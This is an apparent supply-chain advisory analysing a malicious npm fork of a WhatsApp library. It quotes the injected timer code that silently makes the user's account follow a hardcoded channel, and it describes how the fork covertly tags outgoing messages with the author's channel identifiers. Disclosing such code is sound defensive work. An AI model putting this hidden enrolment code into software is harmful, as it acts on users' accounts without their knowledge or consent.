wertybailz@1.0.8
Malicious code in wertybailz (npm)
Analysis
wertybailz@1.0.8 is a fork of the Baileys WhatsApp Web library with injected channel-enrolment code. In lib/Socket/newsletter.js a hardcoded channel identifier, 120363426748858626@newsletter, is base64-wrapped in the constant MY_CHANNEL and a timer fires 10 seconds after the module loads: `setTimeout(() => newsletterWMexQuery(Buffer.from(MY_CHANNEL,"base64").toString(), QueryIds.FOLLOW), 10000)`. Because makeNewsletterSocket() is constructed unconditionally by makeMessagesSocket() in lib/Socket/messages-send.js, every client connection causes the authenticated user's WhatsApp account to issue a FOLLOW (w:mex query 7871414976211147) on that channel — the user is subscribed without any call, option or notice. The same fork also stamps the author's channels onto messages the victim sends: in lib/Socket/luxu.js, event messages are given forwardedNewsletterMessageInfo newsletterName "D | 7eppeli-Exloration" / newsletterJid 120363421563597486@newsletter, and poll-result messages default to 120363399602691477@newsletter. The package.json homepage and repository fields point at another npm package name (xzcbailz) instead of a source repository. The package reads no environment variables, credential files (.npmrc/.ssh/.aws) or tokens, and contacts only WhatsApp endpoints (web[.]whatsapp[.]com, call[.]whatsapp[.]com, media hosts); its preinstall script only checks the Node.js major version.
- analyzed by
- Leitwacht
- first seen
- Nov 10, 2026, 12:27 AM
- analyzed
- Nov 10, 2026, 12:28 AM
- weekly installs
- 1,105
Related advisories
- wertybailz@1.0.13 same package
- wertybailz@1.0.6 same package
- wertybailz@1.0.11 same package
- wertybailz@1.0.10 same package
- mid-baileys@0.7.29
- mid-baileys@0.7.28
- @vanzzo/priject@1.0.2
- @skycodee/baileys-mod@8.0.8
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.